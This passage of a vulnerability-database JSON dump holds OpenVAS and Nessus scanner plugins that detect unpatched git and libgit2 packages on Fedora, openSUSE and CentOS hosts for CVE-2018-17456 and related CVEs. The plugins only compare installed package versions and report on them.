isrpmvuln(pkg:\"git-doc\", rpm:\"git-doc~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:10", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2018-10-11T00:00:00", "id": "OPENVAS:1361412562310875175", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310875175", "title": "Fedora Update for git FEDORA-2018-1c1a318a0b", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2018_1c1a318a0b_git_fc28.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for git FEDORA-2018-1c1a318a0b\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.875175\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-11 08:54:28 +0200 (Thu, 11 Oct 2018)\");\n script_cve_id(\"CVE-2018-17456\", \"CVE-2018-11233\", \"CVE-2018-11235\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for git FEDORA-2018-1c1a318a0b\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'git'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n script_tag(name:\"affected\", value:\"git on Fedora 28\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"FEDORA\", value:\"2018-1c1a318a0b\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6H7PLJSU6HD57BAZTTAYHPWURRSQKM6V\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC28\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC28\")\n{\n\n if ((res = isrpmvuln(pkg:\"git\", rpm:\"git~2.17.2~1.fc28\", rls:\"FC28\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:32:59", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2018-10-21T00:00:00", "id": "OPENVAS:1361412562310875216", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310875216", "title": "Fedora Update for git FEDORA-2018-d5139c4fd6", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2018_d5139c4fd6_git_fc27.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for git FEDORA-2018-d5139c4fd6\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.875216\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-21 07:28:04 +0200 (Sun, 21 Oct 2018)\");\n script_cve_id(\"CVE-2018-17456\", \"CVE-2018-11233\", \"CVE-2018-11235\", \"CVE-2017-15298\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for git FEDORA-2018-d5139c4fd6\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'git'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"git on Fedora 27\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"FEDORA\", value:\"2018-d5139c4fd6\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/D4P3N2PXTUEO4ANXPE6ILEE565P22K5N\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC27\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC27\")\n{\n\n if ((res = isrpmvuln(pkg:\"git\", rpm:\"git~2.14.5~1.fc27\", rls:\"FC27\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:09", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2018-10-15T00:00:00", "id": "OPENVAS:1361412562310875184", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310875184", "title": "Fedora Update for libgit2 FEDORA-2018-7d993184f6", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2018_7d993184f6_libgit2_fc27.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for libgit2 FEDORA-2018-7d993184f6\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.875184\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-15 07:10:23 +0200 (Mon, 15 Oct 2018)\");\n script_cve_id(\"CVE-2018-17456\", \"CVE-2018-10887\", \"CVE-2018-10888\", \"CVE-2018-11235\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for libgit2 FEDORA-2018-7d993184f6\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libgit2'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n script_tag(name:\"affected\", value:\"libgit2 on Fedora 27\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"FEDORA\", value:\"2018-7d993184f6\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5GMJJIDNEG42VDOEJZLJOIR6WEXXQGZ5\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC27\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC27\")\n{\n\n if ((res = isrpmvuln(pkg:\"libgit2\", rpm:\"libgit2~0.26.7~1.fc27\", rls:\"FC27\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:32:54", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2018-11-12T00:00:00", "id": "OPENVAS:1361412562310875251", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310875251", "title": "Fedora Update for libgit2 FEDORA-2018-f6c972fc06", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2018_f6c972fc06_libgit2_fc28.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for libgit2 FEDORA-2018-f6c972fc06\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.875251\");\n script_version(\"$Revision: 14223 $\");\n script_cve_id(\"CVE-2018-17456\", \"CVE-2018-10887\", \"CVE-2018-10888\", \"CVE-2018-11235\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-11-12 06:20:22 +0100 (Mon, 12 Nov 2018)\");\n script_name(\"Fedora Update for libgit2 FEDORA-2018-f6c972fc06\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC28\");\n\n script_xref(name:\"FEDORA\", value:\"2018-f6c972fc06\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RWUYSQIRNA7BF3QIFK765ETPFQ6URXAE\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libgit2'\n package(s) announced via the FEDORA-2018-f6c972fc06 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"affected\", value:\"libgit2 on Fedora 28.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC28\")\n{\n\n if ((res = isrpmvuln(pkg:\"libgit2\", rpm:\"libgit2~0.26.8~1.fc28\", rls:\"FC28\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2019-11-01T02:16:48", "bulletinFamily": "scanner", "description": "An update for git is now available for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nGit is a distributed revision control system with a decentralized\narchitecture. As opposed to centralized version control systems with a\nclient-server model, Git ensures that each working copy of a Git\nrepository is an exact copy with complete revision history. This not\nonly allows the user to work on and contribute to projects without the\nneed to have permission to push the changes to their official\nrepositories, but also makes it possible for the user to work with no\nnetwork connection.\n\nSecurity Fix(es) :\n\n* git: arbitrary code execution via .gitmodules (CVE-2018-17456)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.", "modified": "2019-11-02T00:00:00", "id": "CENTOS_RHSA-2018-3408.NASL", "href": "https://www.tenable.com/plugins/nessus/119046", "published": "2018-11-21T00:00:00", "title": "CentOS 7 : git (CESA-2018:3408)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2018:3408 and \n# CentOS Errata and Security Advisory 2018:3408 respectively.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(119046);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/10/02 15:30:22\");\n\n script_cve_id(\"CVE-2018-17456\");\n script_xref(name:\"RHSA\", value:\"2018:3408\");\n\n script_name(english:\"CentOS 7 : git (CESA-2018:3408)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An update for git is now available for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nGit is a distributed revision control system with a decentralized\narchitecture. As opposed to centralized version control systems with a\nclient-server model, Git ensures that each working copy of a Git\nrepository is an exact copy with complete revision history. This not\nonly allows the user to work on and contribute to projects without the\nneed to have permission to push the changes to their official\nrepositories, but also makes it possible for the user to work with no\nnetwork connection.\n\nSecurity Fix(es) :\n\n* git: arbitrary code execution via .gitmodules (CVE-2018-17456)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.\"\n );\n # https://lists.centos.org/pipermail/centos-announce/2018-December/023102.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?908b53b3\"\n );\n # https://lists.centos.org/pipermail/centos-cr-announce/2018-November/005748.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?39b5ff45\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected git packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:emacs-git\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:emacs-git-el\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-all\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-bzr\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-cvs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-daemon\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-email\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-gnome-keyring\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-gui\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-hg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-instaweb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-p4\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:git-svn\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:gitk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:gitweb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:perl-Git\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:perl-Git-SVN\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:7\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/12/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/11/21\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/CentOS/release\");\nif (isnull(release) || \"CentOS\" >!< release) audit(AUDIT_OS_NOT, \"CentOS\");\nos_ver = pregmatch(pattern: \"CentOS(?: Linux)? release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"CentOS\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"CentOS 7.x\", \"CentOS \" + os_ver);\n\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"emacs-git-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"emacs-git-el-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-all-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-bzr-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-cvs-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-daemon-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-email-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-gnome-keyring-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-gui-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-hg-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-instaweb-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-p4-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"git-svn-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"gitk-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"gitweb-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"perl-Git-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"perl-Git-SVN-1.8.3.1-20.el7\")) flag++;\n\n\nif (flag)\n{\n cr_plugin_caveat = '\\n' +\n 'NOTE: The security advisory associated with this vulnerability has a\\n' +\n 'fixed package version that may only be available in the continuous\\n' +\n 'release (CR) repository for CentOS, until it is present in the next\\n' +\n 'point release of CentOS.\\n\\n' +\n\n 'If an equal or higher package level does not exist in the baseline\\n' +\n 'repository for your major version of CentOS, then updates from the CR\\n' +\n 'repository will need to be applied in order to address the\\n' +\n 'vulnerability.\\n';\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + cr_plugin_caveat\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"emacs-git / emacs-git-el / git / git-all / git-bzr / git-cvs / etc\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-01T03:13:18", "bulletinFamily": "scanner", "description": "This update for libgit2 fixes the following issues :\n\nSecurity issue fixed :\n\n - CVE-2018-17456: Submodule URLs and paths with a leading\n ", "modified": "2019-11-02T00:00:00", "id": "OPENSUSE-2019-986.NASL", "href": "https://www.tenable.com/plugins/nessus/123403", "published": "2019-03-27T00:00:00", "title": "openSUSE Security Update : libgit2 (openSUSE-2019-986)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2019-986.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(123403);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/04/04 11:19:02\");\n\n script_cve_id(\"CVE-2018-17456\");\n\n script_name(english:\"openSUSE Security Update : libgit2 (openSUSE-2019-986)\");\n script_summary(english:\"Check for the openSUSE-2019-986 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for libgit2 fixes the following issues :\n\nSecurity issue fixed :\n\n - CVE-2018-17456: Submodule URLs and paths with a leading\n '-' are now ignored to avoid injecting options into\n library consumers that perform recursive clones\n (bsc#1110949).\n\nNon-security issues fixed :\n\n - Version update to version 0.26.8 (bsc#1114729).\n\n - Full changelog can be found at :\n\n - https://github.com/libgit2/libgit2/releases/tag/v0.26.8\n\n - https://github.com/libgit2/libgit2/releases/tag/v0.26.7\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1110949\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1114729\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://github.com/libgit2/libgit2/releases/tag/v0.26.7\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://github.com/libgit2/libgit2/releases/tag/v0.26.8\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected libgit2 packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26-32bit\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/03/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/03/27\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = 